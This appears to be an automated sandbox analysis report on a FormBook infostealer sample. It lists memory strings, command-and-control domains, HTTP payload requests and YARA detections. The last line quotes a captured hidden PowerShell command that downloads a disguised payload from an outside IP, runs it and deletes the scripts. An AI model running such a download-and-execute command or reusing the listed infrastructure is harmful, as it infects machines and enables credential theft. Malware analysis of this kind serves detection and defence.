Source: powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://20.106.232.48
Source: powershell.exe, 0000000C.00000003.425480626.00000181CCBE1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000003.425363983.00000181CCBB2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.450695738.00000181CCBE2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://20.6.
Source: powershell.exe, 00000001.00000002.408114262.000001FD33570000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.460922771.0000023A9CC81000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000003.454758877.0000023A9CC81000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000003.425572680.00000181CCB49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000003.411765873.00000181CCB42000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.450505987.00000181CCB4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000003.429086805.000001DF7AF1F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.448733396.000001DF7AF1F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.448691203.000001DF7AF14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000003.429054912.000001DF7AF14000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000006.00000002.893555318.0000000002B62000.00000004.80000000.00040000.00000000.sdmp, explorer.exe, 0000002D.00000000.800415713.0000000004A42000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://img.sedoparking.com
Source: powershell.exe, 00000001.00000002.406922081.000001FD2B5D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.447539481.00000181C4A74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.446574642.000001DF10071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.435103706.000001DF00212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.395307663.000001FD1B571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.457098102.0000023A84A91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.434525264.00000181B4A11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.434802938.000001DF00001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.40dgj.xyz
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.40dgj.xyz/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.40dgj.xyz/s4ig/www.bikebrewandflights.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.40dgj.xyzReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.acesso-livre-mercado.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.acesso-livre-mercado.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.acesso-livre-mercado.com/s4ig/www.40dgj.xyz
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.acesso-livre-mercado.comReferer:
Source: powershell.exe, 0000000D.00000002.435103706.000001DF00212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bikebrewandflights.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bikebrewandflights.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bikebrewandflights.com/s4ig/www.hibikaiteki.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.bikebrewandflights.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.caui.top
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.caui.top/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.caui.top/s4ig/www.giaohanggiaretetkiemhcm.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.caui.topReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.choicearticleto-readtoday.info
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.choicearticleto-readtoday.info/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.choicearticleto-readtoday.info/s4ig/www.sushifactoryamphawa.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.choicearticleto-readtoday.infoReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.createurs-de-bijoux.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.createurs-de-bijoux.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.createurs-de-bijoux.com/s4ig/www.fairble.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.createurs-de-bijoux.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.deadsdradqueer.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.deadsdradqueer.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.deadsdradqueer.com/s4ig/www.acesso-livre-mercado.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.deadsdradqueer.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fairble.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fairble.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fairble.com/s4ig/www.shref94.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fairble.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.giaohanggiaretetkiemhcm.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.giaohanggiaretetkiemhcm.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.giaohanggiaretetkiemhcm.com/s4ig/www.mentication.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.giaohanggiaretetkiemhcm.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.hibikaiteki.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.hibikaiteki.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.hibikaiteki.com/s4ig/www.caui.top
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.hibikaiteki.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mentication.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mentication.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mentication.com/s4ig/www.prostitutkitambovasuck.info
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mentication.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mgav21.xyz
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mgav21.xyz/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mgav21.xyz/s4ig/www.createurs-de-bijoux.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mgav21.xyzReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.nexusbalance.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.nexusbalance.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.nexusbalance.com/s4ig/www.choicearticleto-readtoday.info
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.nexusbalance.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.prostitutkitambovasuck.info
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.prostitutkitambovasuck.info/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.prostitutkitambovasuck.info/s4ig/TL
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.prostitutkitambovasuck.infoReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.shref94.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.shref94.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.shref94.com/s4ig/www.deadsdradqueer.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.shref94.comReferer:
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sushifactoryamphawa.com
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sushifactoryamphawa.com/s4ig/
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sushifactoryamphawa.com/s4ig/www.mgav21.xyz
Source: explorer.exe, 00000006.00000002.890540740.00000000005D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sushifactoryamphawa.comReferer:
Source: powershell.exe, 0000000D.00000002.446574642.000001DF10071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.446574642.000001DF10071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.446574642.000001DF10071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000D.00000002.435103706.000001DF00212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.404888113.000001FD1CABB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.446583426.00000181B5F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.406922081.000001FD2B5D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.447539481.00000181C4A74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.446574642.000001DF10071000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000006.00000002.893555318.0000000002B62000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.mgydez.site/s4ig/?0tx=dCXC
Source: explorer.exe, 00000006.00000002.893555318.0000000002B62000.00000004.80000000.00040000.00000000.sdmp, explorer.exe, 0000002D.00000000.800415713.0000000004A42000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.sedo.com/services/parking.php3
Source: explorer.exe, 0000002D.00000000.800415713.0000000004A42000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.sushifactoryamphawa.com/s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=OUASG
Source: explorer.exe, 0000002D.00000000.800415713.0000000004A42000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.sushifactoryamphawa.com/s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=OUASG
Source: unknown DNS traffic detected: queries for: www.nexusbalance.com
Source: C:\Windows\explorer.exe Code function: 6_2_043F3A52 getaddrinfo,setsockopt,recv, 6_2_043F3A52
Source: global traffic HTTP traffic detected: GET /daveCrpted.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: 2.56.57.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /dll/26-05-2022-StartUp.pdf HTTP/1.1Host: 20.106.232.4Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /rumpe/26-05-2022-StartUp.pdf HTTP/1.1Host: 20.106.232.4
Source: global traffic HTTP traffic detected: GET /tsdfguhijk.txt HTTP/1.1Host: 2.56.57.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=cD7SGqgsMdn1qG9AyDMlGxGbikkTJ3e+SLNAYG8XHeGes8xhGajuA9PSV6Vq4uulpQsNka3DRA== HTTP/1.1Host: www.nexusbalance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?0tx=EE1KxreShStuWGRfOzXQivmJYb01nsHN4Y+USZVKUNF8o5M6FFhEbiUBXOrRFrwbnBV3ymr95w==&CTM8q=6lUH4xyXELQ8-0r HTTP/1.1Host: www.choicearticleto-readtoday.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=OUASG+zKIyPgsbPq7aByYUb53Y7vFTrhhhVYwgCqKyQGNMMvVk3uDgUSApaDProA7A9idTtJxA== HTTP/1.1Host: www.sushifactoryamphawa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?0tx=dCXC+2ZT0QRaPMB/1bkCzyFCQOsWt/uhEcdMypxrEdi7eXd+jvTokAesL3IOP6QRIKOYlLryUQ==&CTM8q=6lUH4xyXELQ8-0r HTTP/1.1Host: www.mgav21.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Contains functionality for read data from the clipboard
Source: C:\Windows\explorer.exe Code function: 6_2_043ECEB2 OpenClipboard, 6_2_043ECEB2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.powershell.exe.181ccfb0000.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects known downloader agent Author: ditekSHen
Source: 12.2.powershell.exe.181b4def050.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects known downloader agent Author: ditekSHen
Source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.powershell.exe.181b586e7e0.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects known downloader agent Author: ditekSHen
Source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.451218272.00000181CCFB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects known downloader agent Author: ditekSHen
Source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: Process Memory Space: powershell.exe PID: 2328, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf
